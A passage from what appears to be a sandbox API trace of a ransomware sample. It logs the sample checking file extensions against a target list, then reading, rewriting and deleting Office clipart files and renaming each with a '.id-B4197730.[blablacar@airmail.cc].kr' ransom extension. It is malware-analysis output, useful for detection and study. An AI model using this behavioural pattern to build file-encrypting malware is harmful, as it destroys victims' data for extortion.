(lpString1=".1cd", lpString2=".MID") returned -1 [0184.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.932] lstrlenW (lpString=".jpg") returned 4 [0184.932] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.933] lstrlenW (lpString=".doc") returned 4 [0184.933] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.933] lstrlenW (lpString=".docx") returned 5 [0184.933] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.933] lstrlenW (lpString=".pdf") returned 4 [0184.933] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.933] lstrlenW (lpString=".xls") returned 4 [0184.933] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.933] lstrlenW (lpString=".xlsx") returned 5 [0184.933] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.933] lstrlenW (lpString=".ppt") returned 4 [0184.933] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.933] lstrlenW (lpString=".zip") returned 4 [0184.933] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.933] lstrlenW (lpString=".rar") returned 4 [0184.933] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.933] lstrlenW (lpString=".bz2") returned 4 [0184.933] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.933] lstrlenW (lpString=".7z") returned 3 [0184.933] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.933] lstrlenW (lpString=".dbf") returned 4 [0184.933] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.933] lstrlenW (lpString=".1cd") returned 4 [0184.933] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0184.933] lstrlenW (lpString=".jpg") returned 4 [0184.933] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.934] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.934] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0184.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0185.149] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=6880) returned 1 [0185.149] CloseHandle (hObject=0x4d4) returned 1 [0185.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220 [0185.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0185.150] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.150] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0185.151] GetLastError () returned 0x0 [0185.151] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x1ae0, lpOverlapped=0x0) returned 1 [0185.188] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x1af0, lpOverlapped=0x0) returned 1 [0185.189] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.189] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.189] SetEndOfFile (hFile=0x520) returned 1 [0185.740] CloseHandle (hObject=0x520) returned 1 [0185.740] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.741] SetEndOfFile (hFile=0x4d4) returned 1 [0185.743] CloseHandle (hObject=0x4d4) returned 1 [0185.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1 [0186.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.472] lstrlenW (lpString=".doc") returned 4 [0186.472] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.472] lstrlenW (lpString=".docx") returned 5 [0186.473] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.473] lstrlenW (lpString=".pdf") returned 4 [0186.473] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.473] lstrlenW (lpString=".xls") returned 4 [0186.473] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.473] lstrlenW (lpString=".xlsx") returned 5 [0186.473] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.473] lstrlenW (lpString=".ppt") returned 4 [0186.473] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.473] lstrlenW (lpString=".zip") returned 4 [0186.473] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.473] lstrlenW (lpString=".rar") returned 4 [0186.473] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.473] lstrlenW (lpString=".bz2") returned 4 [0186.473] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.473] lstrlenW (lpString=".7z") returned 3 [0186.473] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.473] lstrlenW (lpString=".dbf") returned 4 [0186.473] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.473] lstrlenW (lpString=".1cd") returned 4 [0186.473] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.473] lstrlenW (lpString=".jpg") returned 4 [0186.473] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.473] lstrlenW (lpString=".doc") returned 4 [0186.473] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.473] lstrlenW (lpString=".docx") returned 5 [0186.473] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.474] lstrlenW (lpString=".pdf") returned 4 [0186.474] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.474] lstrlenW (lpString=".xls") returned 4 [0186.474] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.474] lstrlenW (lpString=".xlsx") returned 5 [0186.474] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.474] lstrlenW (lpString=".ppt") returned 4 [0186.474] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.474] lstrlenW (lpString=".zip") returned 4 [0186.474] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.474] lstrlenW (lpString=".rar") returned 4 [0186.474] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.474] lstrlenW (lpString=".bz2") returned 4 [0186.474] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.474] lstrlenW (lpString=".7z") returned 3 [0186.474] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.474] lstrlenW (lpString=".dbf") returned 4 [0186.474] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.474] lstrlenW (lpString=".1cd") returned 4 [0186.474] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0186.474] lstrlenW (lpString=".jpg") returned 4 [0186.474] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.474] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.474] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0186.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.476] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4961) returned 1 [0186.476] CloseHandle (hObject=0x538) returned 1 [0186.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220 [0186.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.476] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.476] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.478] GetLastError () returned 0x0 [0186.478] ReadFile (in: hFile=0x538, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x1361, lpOverlapped=0x0) returned 1 [0186.518] WriteFile (in: hFile=0x51c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x1370, lpOverlapped=0x0) returned 1 [0186.519] ReadFile (in: hFile=0x538, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.519] WriteFile (in: hFile=0x51c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.519] SetEndOfFile (hFile=0x51c) returned 1 [0186.520] CloseHandle (hObject=0x51c) returned 1 [0186.520] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.520] SetEndOfFile (hFile=0x538) returned 1 [0186.529] CloseHandle (hObject=0x538) returned 1 [0186.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0186.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.540] lstrlenW (lpString=".doc") returned 4 [0186.540] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.540] lstrlenW (lpString=".docx") returned 5 [0186.540] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.540] lstrlenW (lpString=".pdf") returned 4 [0186.541] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.541] lstrlenW (lpString=".xls") returned 4 [0186.541] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.541] lstrlenW (lpString=".xlsx") returned 5 [0186.541] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.541] lstrlenW (lpString=".ppt") returned 4 [0186.541] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.541] lstrlenW (lpString=".zip") returned 4 [0186.541] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.541] lstrlenW (lpString=".rar") returned 4 [0186.541] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.541] lstrlenW (lpString=".bz2") returned 4 [0186.541] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.541] lstrlenW (lpString=".7z") returned 3 [0186.541] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.541] lstrlenW (lpString=".dbf") returned 4 [0186.541] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.541] lstrlenW (lpString=".1cd") returned 4 [0186.541] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.541] lstrlenW (lpString=".jpg") returned 4 [0186.541] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.541] lstrlenW (lpString=".doc") returned 4 [0186.541] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.541] lstrlenW (lpString=".docx") returned 5 [0186.541] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.541] lstrlenW (lpString=".pdf") returned 4 [0186.541] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.542] lstrlenW (lpString=".xls") returned 4 [0186.542] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.542] lstrlenW (lpString=".xlsx") returned 5 [0186.542] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.542] lstrlenW (lpString=".ppt") returned 4 [0186.542] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.542] lstrlenW (lpString=".zip") returned 4 [0186.542] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.542] lstrlenW (lpString=".rar") returned 4 [0186.542] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.542] lstrlenW (lpString=".bz2") returned 4 [0186.542] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.542] lstrlenW (lpString=".7z") returned 3 [0186.542] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.542] lstrlenW (lpString=".dbf") returned 4 [0186.542] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.542] lstrlenW (lpString=".1cd") returned 4 [0186.542] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0186.542] lstrlenW (lpString=".jpg") returned 4 [0186.542] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.542] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.543] lstrlenW (lpString="WNTER_01.MID") returned 12 [0186.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0187.195] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=6915) returned 1 [0187.196] CloseHandle (hObject=0x3f8) returned 1 [0187.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220 [0187.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0188.955] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.955] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0188.955] GetLastError () returned 0x0 [0188.955] ReadFile (in: hFile=0x544, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x1b03, lpOverlapped=0x0) returned 1 [0189.165] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0189.167] ReadFile (in: hFile=0x544, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.167] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.167] SetEndOfFile (hFile=0x3f8) returned 1 [0189.167] CloseHandle (hObject=0x3f8) returned 1 [0189.167] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.167] SetEndOfFile (hFile=0x544) returned 1 [0189.172] CloseHandle (hObject=0x544) returned 1 [0189.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0190.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0190.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.738] lstrlenW (lpString=".doc") returned 4 [0190.738] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0190.738] lstrlenW (lpString=".docx") returned 5 [0190.738] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0190.738] lstrlenW (lpString=".pdf") returned 4 [0190.738] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0190.739] lstrlenW (lpString=".xls") returned 4 [0190.739] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0190.739] lstrlenW (lpString=".xlsx") returned 5 [0190.739] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0190.739] lstrlenW (lpString=".ppt") returned 4 [0190.739] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0190.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.739] lstrlenW (lpString=".zip") returned 4 [0190.739] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0190.739] lstrlenW (lpString=".rar") returned 4 [0190.739] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0190.739] lstrlenW (lpString=".bz2") returned 4 [0190.740] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0190.740] lstrlenW (lpString=".7z") returned 3 [0190.740] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0190.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.740] lstrlenW (lpString=".dbf") returned 4 [0190.740] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0190.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.740] lstrlenW (lpString=".1cd") returned 4 [0190.740] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0190.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.740] lstrlenW (lpString=".jpg") returned 4 [0190.740] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0190.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.740] 